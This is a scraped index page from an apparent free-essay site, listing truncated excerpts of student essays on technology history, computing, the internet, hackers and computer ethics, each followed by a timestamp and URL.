(www.affordablephones.net 1). The pager at that time had no displays like today’s pagers and could not store messages, but it was portable and could notify the person that a page had been sent. How pagers or beepers work? Pagers are a portable communication messenger device. The person sending the message uses a touch-tone phone and calls the pagers' number, then the person enter their number or voice message and within moments the pager carrier is notified by an audible "beep" or a silent vibration. The number or voice message can be read on the pagers' screen. By the 1980’s pagers grew and more people wanted to be able to communicate with each other. In 1980, there were about 3.2 million pager users in the world. But at this time there was a limited range people could use the pagers. Also they were used for only on-site situations like for medical workers within a hospital (www.affordablephones.net 2). Hospital workers have them in case of emergencies 2006-06-20T14:46:06-04:00 http://75.150.148.189/free-essay/Shifting-Technology-from-Pagers-to-Cellular-Phones-29678.aspx The Development of the Diesel Engine Early work Rudolf http://www.britannica.com/bcom/eb/article/8/0,5716,30888+1+30393,00.htmlDiesel, a German engineer, conceived the idea for the engine that now bears his name after seeking a device to increase the efficiency of the Otto engine. Diesel realized that the electric ignition process of the gasoline engine could be eliminated if, during the compression stroke of a piston-cylinder device, compression could heat air to a temperature higher than the auto-ignition temperature of a given fuel. Diesel proposed such a cycle in his patents of 1892 and 1893. Originally, either powdered coal or liquid petroleum was proposed as fuel. Diesel saw powdered coal, a by-product of the Saar coal mines, as a readily available fuel. Compressed air was to be used to introduce coal dust into the engine cylinder; however, controlling the rate of coal injection was difficult, and after the experimental engine was destroyed by an explosion, Diesel turned to liquid petroleum. He continued to introduce the fuel into the engine with compressed air. The first commercial engine built on Diesel's patents was installed in St. Louis, Mo., by Adolphus Busch, a brewer who had seen one on display at an exposition in Munich and had purchased a license from Diesel for the manufacture and sale of the engine in the United States and Canada. The engine operated successfully for years and was the forerunner of the Busch-Sulzer engine that powered many submarines of the U.S. Navy in World War I. Another diesel engine used for the same purpose was the Nelseco, built by the New London Ship and Engine Company in Groton, Conn. The diesel engine became the primary power plant for submarines during World War I. It was not only economical in the use of fuel but also proved reliable under wartime conditions. Diesel fuel, less volatile than gasoline, was more easily stored and handled. At the end of the war many men who had operated diesels were looking for peacetime jobs. Manufacturers began to adapt diesels for the peacetime economy. One modification was the development of the so-called semidiesel that operated on a two-stroke cycle at a lower compression pressure and made use of a hot bulb or tube to ignite the fuel charge. These changes resulted in an engine less expensive to build and maintain. Fuel-injection technology One objectionable feature of the full diesel was the necessity of a high-pressure, injection air compressor. Not only was energy required to drive the air 2006-06-20T14:18:17-04:00 http://75.150.148.189/free-essay/The-Development-of-the-Diesel-Engine-29666.aspx The Development of the Diesel Engine Early work Rudolf http://www.britannica.com/bcom/eb/article/8/0,5716,30888+1+30393,00.htmlDiesel, a German engineer, conceived the idea for the engine that now bears his name after seeking a device to increase the efficiency of the Otto engine. Diesel realized that the electric ignition process of the gasoline engine could be eliminated if, during the compression stroke of a piston-cylinder device, compression could heat air to a temperature higher than the auto-ignition temperature of a given fuel. Diesel proposed such a cycle in his patents of 1892 and 1893. Originally, either powdered coal or liquid petroleum was proposed as fuel. Diesel saw powdered coal, a by-product of the Saar coal mines, as a readily available fuel. Compressed air was to be used to introduce coal dust into the engine cylinder; however, controlling the rate of coal injection was difficult, and after the experimental engine was destroyed by an explosion, Diesel turned to liquid petroleum. He continued to introduce the fuel into the engine with compressed air. The first commercial engine built on Diesel's patents was installed in St. Louis, Mo., by Adolphus Busch, a brewer who had seen one on display at an exposition in Munich and had purchased a license from Diesel for the manufacture and sale of the engine in the United States and Canada. The engine operated successfully for years and was the forerunner of the Busch-Sulzer engine that powered many submarines of the U.S. Navy in World War I. Another diesel engine used for the same purpose was the Nelseco, built by the New London Ship and Engine Company in Groton, Conn. The diesel engine became the primary power plant for submarines during World War I. It was not only economical in the use of fuel but also proved reliable under wartime conditions. Diesel fuel, less volatile than gasoline, was more easily stored and handled. At the end of the war many men who had operated diesels were looking for peacetime jobs. Manufacturers began to adapt diesels for the peacetime economy. One modification was the development of the so-called semidiesel that operated on a two-stroke cycle at a lower compression pressure and made use of a hot bulb or tube to ignite the fuel charge. These changes resulted in an engine less expensive to build and maintain. Fuel-injection technology One objectionable feature of the full diesel was the necessity of a high-pressure, injection air compressor. Not only was energy required to drive the air 2006-06-20T14:17:12-04:00 http://75.150.148.189/free-essay/The-Development-of-the-Diesel-Engine-29665.aspx The Histroy of Modern Computers The Analytical and Difference Engines (1835-1869): The English mathematician Charles Babbage (1792-1871) never got to build his invention, but his design had an uncanny resemblance to the modern computer. Ada Lovelace, Lord Byron's daughter, wrote eloquently about the device and was history's first programmer. The ABC (Atanasoff Berry Computer) (1938): John Atanasoff and Clifford Berry designed the first electronic digital computer at Iowa State, and urged the university to patent their design. Nothing was ever done and millions in potential royalties were lost. The project was abandoned in 1942 without building the computer. The ENIAC (Electronic Numerical Integrator and Calculator) (1946): was built at the University of Pennsylvania by John W. Mauchly and J. Presper Eckert. Recognized as the first operational electronic computer, it could perform 5,000 additions per second, weighed 30 tons, and required 1,500 square feet of floor space. UNIVAC I (Universal Automatic Computer) (1951): The world's first commercial computer (a total of 15 were sold) gained public recognition when it was used by CBS to predict Eisenhower's 1952 presidential election. The original UNIVAC was officially retired on October 3, 1963, after 73,000 hours of operation, and is now on display at the Smithsonian Institution. The IBM 360 (1964): The 360 series pioneered the concept of upward compatibility whereby a user could upgrade from one computer to the next without having to reprogram existing applications. The machine was viewed as an enormous financial gamble, but paid off handsomely as it gave IBM a dominance in mainframes which it has never relinquished. Altair 8800 (1975): The January 1975 issue of Popular Electronics featured the Altair 8800 on its cover: the first personal computer and a machine that the hobbyist could build from a kit. 2000 adventurous readers sent in their orders (sight unseen) for a kit that cost $439. The Altair had no keyboard or monitor and no available software and was programmed by switches on the front panel. Apple II (1977): The Apple Il was a fully assembled home computer in an attractive case, complete with keyboard, connection to a TV screen, color, memory to 64Kb, and BASIC interpreter. The machine was to launch the personal computer revolution and vault its founders, Steve Wozniak and Steve Jobs, from garage to glory. IBM PC (1981): IBM was neither first nor technologically innovative, but their announcement put the personal computer on the desks of America's business people, just as Apple had 2006-06-16T19:10:19-04:00 http://75.150.148.189/free-essay/The-Histroy-of-Modern-Computers-29657.aspx Dial-Up Scripting Command Language 1.0 Overview Many Internet service providers and online services require you to manually enter information, such as your user name and password, to establish a connection. With Scripting support for Dial-Up Networking, you can write a script to automate this process. A script is a text file that contains a series of commands, parameters, and expressions required by your Internet service provider or online service to establish the connection and use the service. You can use any text editor, such as Microsoft Notepad, to create a script file. Once you've created your script file, you can then assign it to a specific Dial-Up Networking connection by running the Dial-Up Scripting Tool. 2.0 Basic Structure of a Script A command is the basic instruction that a script file contains. Some commands require parameters that further define what the command should do. An expression is a combination of operators and arguments that create a result. Expressions can be used as values in any command. Examples of expressions include arithmetic, relational comparisons, and string concatenations. The basic form of a script for Dial-Up Networking follows: ; ; A comment begins with a semi-colon and extends to ; the end of the line. ; proc main ; A script can have any number of variables ; and commands variable declarations command block endproc A script must have a main procedure, specified by the proc keyword, and a matching endproc keyword, indicating the end of the procedure. You must declare variables before you add commands. The first command in the main procedure is executed, and then any subsequent commands are executed in the order they appear in the script. The script ends when the end of the main procedure is reached. 3.0 Variables Scripts may contain variables. Variable names must begin with a letter or an underscore ('_'), and may contain any sequence of upper- or lower-case letters, digits, and underscores. You cannot use a reserved word as a variable name. For more information, see the list of reserved words at the end of this document. You must declare variables before you use them. When you declare a variable, you must also define its type. A variable of a certain type may only contain values of that same type. The following three types of variables are supported: Type Description integer A negative or positive number, such as 7, -12, or 5698. string A series of characters enclosed in double-quotes; for example, "Hello world!" or 2006-06-15T15:44:12-04:00 http://75.150.148.189/free-essay/Dial-Up-Scripting-Command-Language-29534.aspx Analysis and Identification of Computer Viruses In the past decade, computer and networking technology has seen enormous growth. This growth however, has not come without a price. With the advent of the "Information Highway", as it's coined, a new methodology in crime has been created. Electronic crime has been responsible for some of the most financially devastating victimizations in society. In the recent past, society has seen malicious editing of the Justice Department web page (1), unauthorized access into classified government computer files, phone card and credit card fraud, and electronic embezzlement. All these crimes are committed in the name of "free speech." These new breed of criminals claim that information should not be suppressed or protected and that the crimes they commit are really not crimes at all. What they choose to deny is that the nature of their actions are slowly consuming the fabric of our country's moral and ethical trust in the information age. Federal law enforcement agencies, as well as commercial computer companies, have been scrambling around in an attempt to "educate" the public on how to prevent computer crime from happening to them. They inform us whenever there is an attack, provide us with mostly ineffective anti-virus software, and we are left feeling isolated and vulnerable. I do not feel that this defensive posture is effective because it is not pro-active. Society is still being attacked by highly skilled computer criminals of which we know very little about them, their motives, and their tools of the trade. Therefore, to be effective in defense, we must understand how these attacks take place from a technical stand-point. To some degree, we must learn to become a computer criminal. Then we will be in a better position to defend against these victimizations that affect us on both the financial and emotional level. In this paper, we will explore these areas of which we know so little, and will also see that computers are really extensions of people. An attack on a computer's vulnerabilities are really an attack on peoples' vulnerabilities. Today, computer systems are under attack from a multitude of sources. These range from malicious code, such as viruses and worms, to human threats, such as hackers and phone "phreaks." These attacks target different characteristics of a system. This leads to the possibility that a particular system is more susceptible to certain kinds 2006-06-14T20:48:31-04:00 http://75.150.148.189/free-essay/Analysis-and-Identification-of-Computer-Viruses-29482.aspx Televison Technology making Literature Irrelevant Today The notion that television is doing irreparable harm to Literature is agreed by all: teachers, parents, governments but nobody seems to take a step forward to change this situation. The chatterbox kills your imagination, your creativity, your own thinking and only encourages passive enjoyment. Although it is true that television is a unifying force in the world and 2006-06-13T18:47:56-04:00 http://75.150.148.189/free-essay/Televison-Technology-making-Literature-Irrelevant-Today-29451.aspx New Electronic Technologies Aiding in Communication Communication and Technology in today’s society have been changing immensely with the various improvements and unveilings of innovations and discoveries. However, Books and Periodicals have continued to remain the leading sources of communication since their conceptions in previous centuries. With the practice of new techniques and usage of new technology, scientists have discovered a new device that could replace paper; it is electronic ink. Although it is revolutionary in concept, electronic ink is a direct fusion of chemistry, physics, and electronics. Much like the Chinese invention of paper in 105 A.D., scientists believe that this innovation will change the world for centuries to come (Bonsar). Imagine having access to a complete library within the encasement of one book. Scientists believe that this is possible with the technology that electronic ink brings. What, you ask, makes electronic ink such a fascinating discovery? Well, it is all in how it functions and how it can change communication as we know it to be today. A Company called EInk is leading the way in this new scientific discovery. EInk, a company developed out of the Massachusetts Institute of Technology, is vigorously working to produce commercial models of their product by the year 2003 or 2004. Within this timeframe, EInk is optimistic that the company will be capable of making electronic paper. Electronic paper will look and feel just like real paper, printed with ink, which is soon to be outdated. The difference will be that the ink on the electronic paper will be able to change, much like the characters on a computer screen are able too (Holohan). EInk’s goal is to be able to bind pages of e-paper coated with e-ink, and create what they call an electronic book (e-book). It will look and read exactly like any book in the library. However, when one is finished reading it, one will be able to plug it into a telephone line or a wireless receiver and change the entire content of the book, by downloading a new book (Holohan). Imagine the possibilities behind this technology opened by the inception of electronic books. Instead of waiting in line and shopping for books in a crowded bookstore, one can download thousands of books from the Internet or other various sources 2006-06-12T02:45:54-04:00 http://75.150.148.189/free-essay/New-Electronic-Technologies-Aiding-in-Communication-29283.aspx The Costs Society Faces from Hacker Abuse Hackers cost governments, corporations, and even normal people billions of dollars per year. You might ask, sure, there are those out there for profit, but what about the college student who was just doing it for fun? Profit or fun, it's still theft. In some cases theft of money, in others, theft of information. Just because a person uses a computer should not impact the severity of their punishment. A murderer's punishment is not affected by which weapon he chooses to employ, so why should a thief's punishment be affected? Usually, information is stolen for the express purpose of making money, either directly, or through the sale of the information obtained, or by blackmail. In today's fast-paced computerized world, knowledge is indeed power. Through the miracle of the Internet, information can be shared and accessed around the globe, instantaneously. At any given time, millions of people's credit card numbers, social security numbers, and other private data are flying through phone lines near your house. The downside to this technological marvel that we all use, whether we know it or not, is that thieves, disgruntled network administrators, and other unsavory characters can make an easy living off of the Internet, maybe even stealing from you. How? It's all in a day's work for them. One Russian hacker spent a few years bleeding money from the Citibank corporation here in the states from his cozy little house in Russia. His labor was rewarded with $10.4 million dollars in several bank accounts around the world. Unfortunately for him, his labor was also rewarded with arrest. (Caryl, par. 2) However, even though he committed the crime many years ago, he is still in Russia, awaiting extradition. Because of the slow response of the bureaucracy, Russia has bred many hackers. (Caryl, par. 7) Russian hackers do not tamper with systems in Russia, because the Police take swift and vicious revenge for such actions. But other countries systems are another matter, because of the promise of great gain and potentially little risk of being caught. (Caryl, par. 8) Even though the theft of money is a growing problem, there are other things for hackers to steal. For instance, hospitals have very elaborate network security setups. Why? Many 2006-06-12T02:21:04-04:00 http://75.150.148.189/free-essay/The-Costs-Society-Faces-from-Hacker-Abuse-29272.aspx An Introduction to Fiber Optics Technology Throughout time, speed and efficiency in the telecommunications industry has progressed at a rapid pace due to fiber optic technology. In 1979, AT&T revolutionized the telecommunications industry by producing a medium for data transmission which used light, called fiber optic cable. This medium created a bandwidth of 44.736 Mbps and could multiplex 672 trunk circuits onto one fiber (Cole, 2000). However, this invention was only the beginning of a great addition to telecommunications, one that would change the industry forever. Even though AT&T introduced fiber optic technology in 1979, they weren’t the first company to think of such a creative idea. The concept of exchanging data by the use of light was thought of by Alexander Graham Bell in the late 1800’s. Bell always thought of possibilities that pulses of light could transmit voice signals, but Bell never had a dependable light source to test the idea (Cheo, 1990). In 1880, Bell patented a phone using optical transmission called the Photophone. Bell’s invention failed because it used air as the medium to transmit light, rather than the glass fibers that are used today. Copper wire was simply more reliable than Bell’s invention at the time, leading to the failure of his Photophone (Hecht, 1999). Expanding on Bell’s idea, English scientist John Logie Bard and United States scientist Clarence W. Hansell patented the idea of using hollow glass pipes to transmit television images in the 1920’s. However, the tubes patented were very poor quality and experienced signal loss very easily. Bard and Hansell also ran into the same problem Bell did, not having a constant, intense light source (Hecht, 1999). Solving Bard and Hansell’s problem, engineers at Laser Diode Labs invented the continuous wave laser in 1975. This laser was smaller than a grain of sand, but made the use of fiber optics in telephony possible. In 1987, another great achievement was made in the fiber optics industry; this achievement was the erbium-doped fiber amplifier, which allowed multiple channels of light to coexist on a single circuit. This fiber amplifier provided enough channels for one fiber cable to handle 80 million telephone calls simultaneously (Greatest, 2000). Today, fiber optic technology transmits data by sending light pulses down thin strands of glass or plastic fiber using a laser or light emitting diode (LED). Strands of fiber 2006-06-11T19:54:48-04:00 http://75.150.148.189/free-essay/An-Introduction-to-Fiber-Optics-Technology-29232.aspx Critical Analysis on growing Cyber-Culture “In The Beginning … Was The Command Line” is a book by Neal Stephenson. This book has very good information about 2006-06-11T19:07:48-04:00 http://75.150.148.189/free-essay/Critical-Analysis-on-growing-Cyber-Culture-29205.aspx Analysis of e-Commerce and keys for succesful companies The number of American households shopping on the Internet is increasing every month. In the month of February, 13.5 million households shopped online compared to 13.3 million in January. Per person spending increased from $228 in January to $308 in February (Enos, 2001). Old Economy companies have taken notice and are moving quickly to embrace this new sales channel. These companies realize that the use of the Web will help to cut costs, find new customers and keep the ones they have (Schoen, 2001). A recent survey by InformationWeek Research found that 65% of respondents say the percentage of their companies total revenue being generated by E-business grew in the past twelve months (Murphy & Heun, 2001). Developing a company web site can be expensive. A small site with 25 pages can cost more than $200,000 and larger sites with hundreds of pages can easily exceed a total of $1 million (Jarvis, 2001). This does not even include costs to handle customer service, product fulfillment, marketing, transaction security, payment services, and site maintenance. To save money, many of these companies are outsourcing their E-business activities to New Economy companies called Commerce Service Providers (CSP). One particular CSP that I feel is the leader at helping companies grow online sales is called Digital River based in Eden Prairie, Minnesota. This term paper will show how Digital River is so effective in helping Old Economy companies market and sell their products over the Internet. DIGITAL RIVER SERVICES Defining what a CSP does is becoming more difficult as these companies continue to add to their offerings and change their scope. A general definition of a CSP is a vendor that supplies the system and services to establish the infrastructure for E-businesses. This can include processing secure transactions; collecting payments and issuing e-mail receipts; managing customer relationships; and fulfillment processes (Nesdore, 2001). Digital River is one of the best examples of a CSP who has extended its reach. To gain an understanding of what services Digital River offers, I have included the following paragraph from Digital River’s web site. “Digital River, Inc. is a Commerce Service Provider, providing over 8,000 companies with e-commerce solutions. The Company’s front-to-back E-commerce services include site development and hosting, order and transaction management, system integration, fraud screening, 2006-06-07T16:42:10-04:00 http://75.150.148.189/free-essay/Analysis-of-e-Commerce-and-keys-for-succesful-companies-29108.aspx In-depth Explanation of How Microcontrollers Work Microcontrollers are hidden inside a surprising number of products these days. If your microwave oven has an LED or LCD screen and a keypad, it contains a microcontroller. All modern automobiles contain at least one microcontroller, and can have as many as six or seven: The engine is controlled by a microcontroller, as are the anti-lock brakes, the cruise control and so on. Any device that has a remote control almost certainly contains a microcontroller: TVs, VCRs and high-end stereo systems all fall into this category. Nice SLR and digital cameras, cell phones, camcorders, answering machines, laser printers, telephones (the ones with caller ID, 20-number memory, etc.), pagers, and feature-laden refrigerators, dishwashers, washers and dryers (the ones with displays and keypads)... You get the idea. Basically, any product or device that interacts with its user has a microcontroller buried inside. In this edition of HowStuffWorks, we will look at microcontrollers so that you can understand what they are and how they work. Then we will go one step further and discuss how you can start working with microcontrollers yourself -- we will create a digital clock with a microcontroller! We will also build a digital thermometer. In the process, you will learn an awful lot about how microcontrollers are used in commercial products. What is a Microcontroller? A microcontroller is a computer. All computers -- whether we are talking about a personal desktop computer or a large mainframe computer or a microcontroller -- have several things in common: All computers have a CPU (central processing unit) that "executes programs." If you are sitting at a desktop computer right now reading this article, the CPU in that machine is executing a program that implements the Web browser that is displaying this page. The CPU loads the program from somewhere. On your desktop machine, the browser program is loaded from the hard disk. The computer has some RAM (random-access memory) where it can store "variables." And the computer has some input and output devices so it can talk to people. On your desktop machine, the keyboard and mouse are input devices and the monitor and printer are output devices. A hard disk is an I/O device -- it handles both input and output. The desktop computer you are using is a "general purpose computer" that can run any of thousands of programs. Microcontrollers are "special purpose computers." Microcontrollers 2006-06-02T03:08:49-04:00 http://75.150.148.189/free-essay/In-depth-Explanation-of-How-Microcontrollers-Work-29014.aspx Issues Surrounding the Internet and Music Sharing The evolution of music in the 21st Century has set a precedence for the future music, as we know it. Inspired by a fire and passion that revs up the soul; music is the soundtrack to our lives. When we are happy we listen to music, when we are sad we listen to music. Music satisfies and spawns a plethora of emotions that are held bottled up with in us; some use music as a vehicle to express deep thoughts and emotions, others use it to just let off steam that is built from the stress that life brings about. Over time people began to realize that the music industry could deem to be quite lucrative and has become to be one of the most profitable industries in the entertainment field. However, with the rise in success comes the rise in problems. The 90’s brought about an upsurge for the use of the super information highway formally known as the Internet. Through the Internet we have been able to do the unimaginable. However the freedom and total access that the Internet provides has created a problem with the recording industry. In the following paper I will attempt to dissect this issue by stating the facts and then my opinion and hopefully you will have a better understanding of the issue at hand. Buyers, traders, and investors gather around as the opening of the market begins. A new hot commodity has people in a frenzy and sales are through the roof. Not even Allen Greenspan could predict the profitability of this new hot product. Although This may sound like a typical day at Wall Street, it’s my pleasure to inform you that it isn’t. This scene is taken from the usual day on college campuses worldwide. College students have been reaping from the advantages of Internet use in the 20th & 21st century. Since most college students like my self run into constant financial problems we have found a revolutionary way to get the favorite music that we love for a fairly reasonable cost or for free. If you go around any campus in the U.S you will almost be guaranteed to see a flyer posted in residence halls that advertise burnt CD’s for less. The theory is 2006-06-02T02:14:00-04:00 http://75.150.148.189/free-essay/Issues-Surrounding-the-Internet-and-Music-Sharing-29008.aspx Importance of Computer Ethics in Today's Electronic Environments Computer ethics are the moral guidelines that govern the use of computers and information systems. The standards that determine whether an action is good or bad are called ethics. There are several types of ethical and unethical situations, each situation may be looked at in a different opinion than others, but just about everyone agrees that certain places in cyberspace are inappropriate for children. What people don’t agree on is how to keep kids from entering sites where they don’t belong. Computer ethics are used when trying to prevent kids or teens from doing so. Such sites may include pornography or other sites that have violence. Some sites may have such information that kids shouldn’t 2006-05-31T23:52:43-04:00 http://75.150.148.189/free-essay/Computer-Ethics-in-Today-s-Electronic-Environments-28951.aspx The Internet; A Modern Tool and Teacher for Students The Internet over the last decade has become an ever changing, ever expanding, ever necessary part of life. According to Emarketer, 350 million, roughly 7.4 percent of the population in our world, uses the Internet on a daily basis whether it be at home, at work, or at school. Internet access in the past was only available to government agencies and large corporations. Schools today have increasingly seen the benefits of their students having access to an endless avenue of learning. Colleges with Internet access provide an invaluable source of knowledge to students. In providing the Internet as a way of learning, colleges increase their students’ productivity. Libraries, while still an abounding source of information, are not as easily accessible or as fast a source of information as the Internet is today. Students can spend endless hours in a library doing research to no avail. If you were trying to write a paper on a current event, such as the recent September 11th tragedy, you would likely have difficulty locating enough information already in print to write on your topic. However, after using an online search engine five minutes, you could find enough information to write for days on any topic you might choose. A student can access dictionaries, encyclopedias, and atlases from her own computer, which can be a definite advantage. For example, instead of looking for a particular country and simply finding out where the country is in an atlas, students can type in the name of that country, and not only will they find out faster where that country is, but they will obtain more information about that country. The Internet provides information readily and easily on topics ranging from Shakespeare to strawberry Pop-Tarts; whether it be12 a.m. or 12 p.m., the Internet allows flexibility for the busy student. Computers and the Internet have expanded the way education can be delivered to students by creating opportunities to engage in distance education through the Internet. Online learning creates a flexible schedule to help fit the needs of the working student, making education accessible wherever and whenever. Not only does the Internet provide an avenue of communication and learning for the conventional and unconventional student alike, the Internet can also serve as a means of communication between 2006-05-31T17:20:58-04:00 http://75.150.148.189/free-essay/The-Internet-A-Modern-Tool-and-Teacher-for-Students-28909.aspx Analysis of UNIX System Configuration Case Study Abstract Management of operating system configuration files files is an essential part of UNIX systems administration. It is particularly difficult in environments with a large number of computers. This paper presents a study of UNIX configuration file management. It compares existing systems and tools from the literature, presents several case studies of configuration file management in practice, examines one site in depth, and makes numerous observations on the configuration process. Introduction Systems administration is hard, and is getting harder. This may be the computing world's single biggest problem. There are certainly others: security, privacy, improving performance, standards enforced by potential monopolies, the year 2000, etc.; the list can go on and on. But none of these matters if computers aren't useable in the first place. In our modern distributed systems, each desktop is becoming increasingly more powerful and is expected to provide more and more functionality. Borrowing a metaphor from Rob Kolstad, the ``service knob'' is being cranked up, and systems administrators and users are paying by spending more time configuring systems, installing software, tuning networks, fighting fires, and trying to convince the environment to just work right. In the corporate world, this problem is usually referred to as part of the ``total cost of ownership'' or TCO, and it is a growing concern. Simply stated - it is difficult to keep a computing system up to date and performing correctly. This has traditionally been the role of the systems administrator, and, as the requirements for computers continue to grow, the systems become more complex to administer. It is imperative that we make systems administration easier. In computer science and engineering disciplines, complexity is often managed by abstraction. For example, source code is organized into functions, procedures, or objects with well-defined interfaces. Information is stored in data structures, allowing algorithms to be developed to manage abstract data structures. Abstraction methods are often used in systems administration as well. We often create a set of scripts or a tool for performing some particular function. As evidenced by the growing complexity in our field, we need to investigate more powerful abstraction mechanisms. The work in this paper is part of an ongoing project to understand the underlying principles of systems administration. It is hoped that a deeper understanding will result in tools and methods that can be used to build stronger abstractions, and in new administration models 2006-05-31T17:13:19-04:00 http://75.150.148.189/free-essay/Analysis-of-UNIX-System-Configuration-Case-Study-28907.aspx Dishonest in Plagiarism The essence of plagiarism is theft and misrepresentation. One who plagiarizes is attempting to get credit, in the form of a grade, for someone else's work; in effect, he or she is doing the same sort of thing as copying another person's answers on an exam. Thus guilt or innocence in plagiarism cases is not a matter of how much material was stolen or what the motives of the thief were. Any material which is taken from another writer and presented as if it were the student's own original work comes under the prohibition. Specifically, the following are examples of plagiarism: 1. A paper or assignment actually written in whole or part by another. 2. A paper or assignment copied word-for-word or with only minor changes from a book, magazine, or other source. 3. A paper copied in part from one or more sources, without proper identification and acknowledgment of the sources. 4. A paper which is merely a paraphrase of one or more sources, using ideas and/or logic without credit, even though the actual words may be changed. Notice numbers 2 and 4. Direct quotation is not the only kind of plagiarism. Taking someone else's ideas, judgments or logic, even if you put them in your own words, is as unacceptable as stealing the words. This does not mean that outside sources may never be used. Some subjects and some assignments require research and the quotation of other writers' work. But all such use of outside materials must be properly identified, through quotation marks, internal citations, endnotes, and/or other accepted ways of acknowledging such borrowings. It is not the use of an outside source that is wrong; it is the implicit claim that any material obtained in that manner is in fact original. Nor does this mean that every single fact that you learn from some outside source must be documented. Material which is general knowledge or generally available from many sources (such as dictionary definitions, familiar historical facts, and the like) need not be identified; a reader assumes that you got the information somewhere. In most courses, facts drawn from the textbook in that course (but not the author's judgments or conclusions) are fair game. But it is always better to err in the direction of over-acknowledgment: when in doubt, identify your source. Better yet, unless the assignment requires research, rely on your own knowledge, ideas 2006-01-21T06:51:45-05:00 http://75.150.148.189/free-essay/Dishonesty-in-Plagiarism-28447.aspx DELL DIMENSION 8200 HardwareDesktops CNET Hardware editors rate desktop PCs on a scale of 1 through 10. Any product achieving an 8 or better can be considered for an Editors' Choice Award. To calculate the rating, different criteria are scored on a 1 through 10 scale, weighted as detailed below, and collated to arrive at a final score. Evaluated systems are categorized as cheap, home, or leading-edge. The rating criteria, with their weights: Price (cheap PCs, 25 percent; home PCs, 25 percent; leading-edge PCs, 15 percent of the total rating)The lower the price, the better. A score of 6 represents an average price for the class of PC under consideration, while a 10 would be exceptionally low and a 1 exceptionally high. Performance (cheap PCs, 15 percent; home PCs, 15 percent; leading-edge PCs, 30 percent)CNET Labs runs a suite of tests to measure a PC's applications and games performance. For applications testing, systems are evaluated with BAPCo SysMark2000 and assigned a numerical value. A rating of 100 indicates the tested system has matched the performance of the current reference system; 200, twice the performance of the reference system--in this case, a Dell Dimension XPS with a 600-MHz Pentium III, 128MB of RAM, and a GeForce 256 DDR graphics card. BAPCo's real-world comprehensive tests use a range of Web creation, multimedia, and office productivity applications, from Excel 2000 to Photoshop 5.5. For games performance, technicians run two tests. One measures the system's performance while playing Quake III by counting the frames per second the system can produce. The other uses the 3DMark2000 benchmark to measure the display adapter's ability to render 3D images at different detail levels. Features (cheap PCs, 20 percent; home PCs, 25 percent; leading-edge PCs, 20 percent)Desktop PC features--and their quality--vary widely. We evaluate: • Size and speed of the hard drive • Amount of system memory • Speed and output quality of the video card • Sound system and speakers (if present) • Speed of the modem (if present) • Type and capacity of removable storage • Variety and number of ports • Other hardware extras Monitor Quality (10 percent) Bundled Software (5 percent) Upgradability (cheap PCs, 10 percent; home PCs, 2 percent; leading-edge PCs, 5 percent)The upgradability score is based on several criteria: How easy is it to access drive bays, open the chassis, and access the card slots? How many slots are available, and what kind are they? How many memory slots are available, 2006-01-15T19:20:16-05:00 http://75.150.148.189/free-essay/DELL-DIMENSION-8200-28427.aspx Internet Regulation It is a documented estimation that almost one-third of all American homes now have at least one personal computer. Along with that staggering stat, the National Commission on Libraries and Information Science has reported that 95% of the public has access to the Internet. Our society has been able to make these great advances, obviously along with many more important others, due to that fact that every American poses certain unalienable rights. Now in this new Millennium, the very innovation which has grown into the majority of American lives is the focus of a debate which questions our fundamental right to freedom of speech. The Federal Government should not regulate the Internet because that is not the Governments job. Internet Regulation should be left up to Parental guidance and local organizations but most of all, not left to the professional politicians. Raising kids is the job of the parents or guardians who are legally responsible for the children, not the job of the Federal Government. The Cyberspace age has arrived at lightning speed. Children and young people are among the most active citizens of this new era, and are often the first in their family to use the Internet. These days, it is important for parents, schools and communities to take a pro-active approach in making our newest form of communication safe for the children. The best way to assure that your children are using the "net" in a positive way is to stay in touch with what they are doing. One important way to do this is for the parents to spend time with their children while they're online. While children and teenagers need a certain amount of privacy, they also need parental involvement and supervision in their daily lives. The same general parenting skills that apply to the "real world" also apply while online. A great example would be to view the "Net" like the street. Even though there are police officers that protect our kids in the real world, you still don't leave them unattended to walk up and down the street where they can be hit by a car. It's the same way on the Information Superhighway. You don't leave your children unattended to walk up and down it, and when they are older you teach them to look both ways before they cross the street. Many people seem to confuse parents into believing 2006-01-01T00:54:12-05:00 http://75.150.148.189/free-essay/Internet-Regulation-28353.aspx Hi everybody,at begining of the learning of computer programming it is a dream of almost all student to build a computer virus of his/her own. Computer virus obviously is a thing that shouldnot be made and used on others computer it is completely illegal in all countries.So make and try this on your own machine. Now let me 2005-12-31T06:49:21-05:00 http://75.150.148.189/free-essay/Making-A-simple-virus-in-C-for-Beginners-28344.aspx Technology Versus Tradition At present, technology is developing rapidly and is widely used in many fields. In the next few years, students may have the choice to study at home with technologies such as the computer and television. However, is it really possible for students to learn at home? Studying at traditional school is the best. First, although students can get knowledge from computer-based technology such as the Internet, the computer is still a machine, which lacks life and is incapable of solving every question. For example, if a young student asks why one plus is two, the computer can only answer that it is because one plus one is two. In fact, children want more interesting answers, which can inspire them to study mathematics. The program that is made up in the computer still depends on people. Therefore, sometimes using the computer to solve problems does not result in satisfaction. I have often used computer programs and have not learned much of anything. The tendency to find a quick way to the answer is normally approached instead of thinking your way through it. I can recall using a biology program on the computer and I would click the “next” button to bring up the answers to the questions. From there I would use the answers and the questions together to try to teach myself; I could not get further explanation because of limited information on the program. Second, studying at school may improve students’ ability to communicate and cooperate. The best way to learn is not only through listening, speaking, reading and writing, but also through working with partners. For example, if someone were to come from Africa and did not speak English, they would learn faster by working with partners. This can encourage them with enthusiasm rather than interacting with a computer because they cannot answer the simple questions. Furthermore, computers cannot help with the annunciation of spoken words. Traditional school is a really good place for students to gain something else beyond knowledge. Third, suppose computers taught instead of teachers, this may cause some social problems. One important concern is that thousands of people may lose their jobs because one computer program could teach millions of students. In addition, the automated phone service is another negative aspect of computers taking 2005-12-30T19:07:08-05:00 http://75.150.148.189/free-essay/Technology-Versus-Tradition-28320.aspx The Great Prejudice against Hackers There is a great prejudice against hackers nowadays, mainly perpetrated by the media. This prejudice comes mainly from the misconception of who hackers really are. The media calls anyone who commits a computer crime a hacker. This is simply not the case. Hackers are the people who not only built the internet to what it is today, but also keep it going. Hackers made the Unix OS what it is today. Hackers fight computer crime, they combat computer stalkers. They write and fix software, patch up security holes, but above all, they have a great yearning for knowledge. To know how something works and make it work better is the ultimate goal of the hacker. Hackers do not just hack computers, they hack anything and everything to make it better for all. As Schmoe said, [i:54912cf0b0]“Hacking doesn’t require a computer – it’s a way of life. If you’ve made something change, or if you’ve drilled down far enough to have a true understanding of it, you’ve hacked it.” 1 [/i:54912cf0b0] The people whom the media dub “hackers” are in fact crackers. Crackers are people whose sole purpose is destroying, they will make viruses, break into places and delete information, deface websites, ECT. 